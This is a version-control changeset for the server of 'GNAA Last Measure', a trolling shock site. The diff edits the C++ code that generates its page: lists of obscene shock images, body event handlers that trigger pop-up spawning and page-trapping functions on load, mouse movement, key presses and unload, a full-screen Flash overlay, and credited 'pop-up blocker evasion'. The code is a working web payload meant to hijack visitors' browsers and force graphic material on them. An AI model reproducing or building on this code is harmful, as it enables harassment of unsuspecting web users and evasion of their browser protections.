Changeset 568 for trollforge


Ignore:
Timestamp:
01/11/12 22:26:57 (17 months ago)
Author:
literalka
Message:

tested, i think it works fine now

Location:
trollforge/lastmeasure/server
Files:
2 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/server/lmresource.h

    r567 r568  
    4545#else 
    4646    /* Static soft images - 13 */ 
    47     "/soft/christmas.jpg", "/soft/pillowfight.jpg", 
    48     "/soft/eww.jpg", "/soft/pooped.jpg", 
    49     "/soft/freak.jpg", "/soft/rustina.jpg", 
    50     "/soft/hello.jpg", "/soft/spin.gif", 
    51     "/soft/lemonparty.jpg", "/soft/tubgirl.jpg", 
    52     "/soft/loopback.jpg", "/soft/weightlifter.jpg", 
     47    "/soft/christmas.jpg",    "/soft/pillowfight.jpg", 
     48    "/soft/eww.jpg",          "/soft/pooped.jpg", 
     49    "/soft/freak.jpg",        "/soft/rustina.jpg", 
     50    "/soft/hello.jpg",        "/soft/spin.gif", 
     51    "/soft/lemonparty.jpg",   "/soft/tubgirl.jpg", 
     52    "/soft/loopback.jpg",     "/soft/weightlifter.jpg", 
    5353    "/soft/ouch.jpg", 
    5454#endif 
     
    116116 
    117117        /* Is this a pop-up? */ 
    118         /* TODO: Confirm this works. -- Leon */ 
    119         bool is_popup = strstr(resource, "?popup=1"); 
     118        bool is_popup = (strstr(query, "popup=1") > 0); 
    120119 
    121120        char const *flash; 
     
    137136    "    <title>GNAA Last Measure Live!</title>\r\n" 
    138137    "    <meta name=\"keywords\" content=\"" << Keywords(128) << "\" />\r\n" 
    139     "    <script type=\"text/javascript\">" << JavaScript(host) << 
     138    "    <meta name=\"description\" content=\"" << Keywords(20) << "\" />\r\n" 
     139    "    <script type=\"text/javascript\">\r\n" << JavaScript(host) << 
    140140    "    </script>\r\n" 
    141141    "    <link rel=\"icon\" type=\"image/x-icon\" " 
    142     "          href=\"http://" << host << "/favicon.ico\" />\r\n" 
     142             "href=\"http://" << host << "/favicon.ico\" />\r\n" 
    143143    "    <link rel=\"shortcut icon\" type=\"image/x-icon\" " 
    144     "          href=\"http://" << host << "/favicon.ico\" />\r\n" 
     144             "href=\"http://" << host << "/favicon.ico\" />\r\n" 
    145145    "    <style type=\"text/css\">\r\n" 
    146146    "      html { height: 100%; width: 100%; overflow: hidden; }\r\n" 
     
    155155          << RandomAsset("/soft/") << "); background-color: #FFFFFF;\"" 
    156156#endif 
    157     "        onload=\"bookmark(); noframes(); load_goatse();" 
    158     "        document.goatse.reset(); movew0w(); setTimeout('ruin()', 20);"; 
     157    "\r\n        onload=\"bookmark(); noframes(); load_goatse(); document.goatse.reset(); movew0w(); "; 
    159158        if (is_ie6) 
    160             data << "setTimeout('main()', 100);"; 
     159            data << "setTimeout('main()', 100); "; 
    161160        data << 
    162     "        onmousemove=\"document.goatse.reset(); movew0w(); procreate();\"" 
    163     "        onkeydown=\"molish(); procreate();\"" 
    164     "        onunload=\"document.goatse.reset(); movew0w(); procreate();\"" 
     161    "setTimeout('ruin()', 20);\"\r\n" 
     162    "        onmousemove=\"document.goatse.reset(); movew0w(); procreate();\"\r\n" 
     163    "        onkeydown=\"molish(); procreate();\"\r\n" 
     164    "        onunload=\"document.goatse.reset(); movew0w(); procreate();\"\r\n" 
    165165    "        onmouseover=\"document.goatse.reset(); movew0w(); procreate();\">\r\n"; 
    166166 
     
    225225 
    226226            for(size_t i = 0; i < audiocount; i++) { 
    227                 data << "    audio[" << (i+imagecount) << "] = 'http://" << host << "/audio/" << staticnames[i+imagecount] << "';\r\n"; 
     227                data << "    audio[" << (i+imagecount) << "] = 'http://" << host << "" << staticnames[i+imagecount] << "';\r\n"; 
    228228            } 
    229229 
     
    253253             << "\">something else</a>.</p>" 
    254254#ifndef SOFT 
    255              << "<img src=\"" << RandomAsset("/images/") << "\" />" 
     255             << "<img src=\"http://" << host << "" << RandomAsset("/images/") << "\" />" 
    256256#else 
    257              << "<img src=\"" << RandomAsset("/soft/") << "\" />" 
     257             << "<img src=\"http://" << host << "" << RandomAsset("/soft/") << "\" />" 
    258258#endif 
    259259             << "</body></html>"; 
     
    321321 "    credits += \"And much, much more!\\n\";\r\n" 
    322322 "    credits += \"\\n\\n\";\r\n" 
    323  "    credits += \"Total, complete, all-versions, pop-up blocker bashing-to-pieces by goat-see\\n\";\r\n" 
     323 "    credits += \"Pop-up blocker evasion technology by Armorfist and goat-see\\n\";\r\n" 
    324324 "    credits += \"hey.swf by rkz\\n\";\r\n" 
    325325 "    credits += \"lmserver by sam and LiteralKa\\n\";\r\n" 
     
    362362 "}\r\n" 
    363363 
    364  "goatseflash  = '<div id=\"hello\" style=\"z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;\">';\r\n" 
    365  "goatseflash += '  <object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"100%\" height=\"100%\">';\r\n" 
    366  "goatseflash += '    <param name=\"movie\" value=\"http://" << host << "/flash/hello.swf\" />'\r\n" 
    367  "goatseflash += '    <param name=\"wmode\" value=\"transparent\" />';\r\n" 
    368  "goatseflash += '  </object>'\r\n" 
    369  "goatseflash += '</div>';\r\n" 
     364 "goatseflash  = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n" 
     365 "goatseflash += \"  <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n" 
     366 "goatseflash += \"    <param name='movie' value='http://" << host << "/flash/hello.swf' />\";\r\n" 
     367 "goatseflash += \"    <param name='wmode' value='transparent' />\";\r\n" 
     368 "goatseflash += \"  </object>\";\r\n" 
     369 "goatseflash += \"</div>\";\r\n" 
    370370 
    371371 "function load_goatse() {\r\n" 
  • trollforge/lastmeasure/server/lmserver.cpp

    r562 r568  
    203203 
    204204    /* Find information in the request */ 
     205    /* TODO: Perhaps make `query' an array. Example: 
     206     *       `?u=dongs&popup=1' 
     207     *       * query[0] = "u=dongs"; 
     208     *       * query[1] = "popup=1"; 
     209     */ 
    205210    char const *resource = "/", *query = "", 
    206211               *agent = "Unknown", *host = "127.0.0.1"; 
Note: See TracChangeset for help on using the changeset viewer.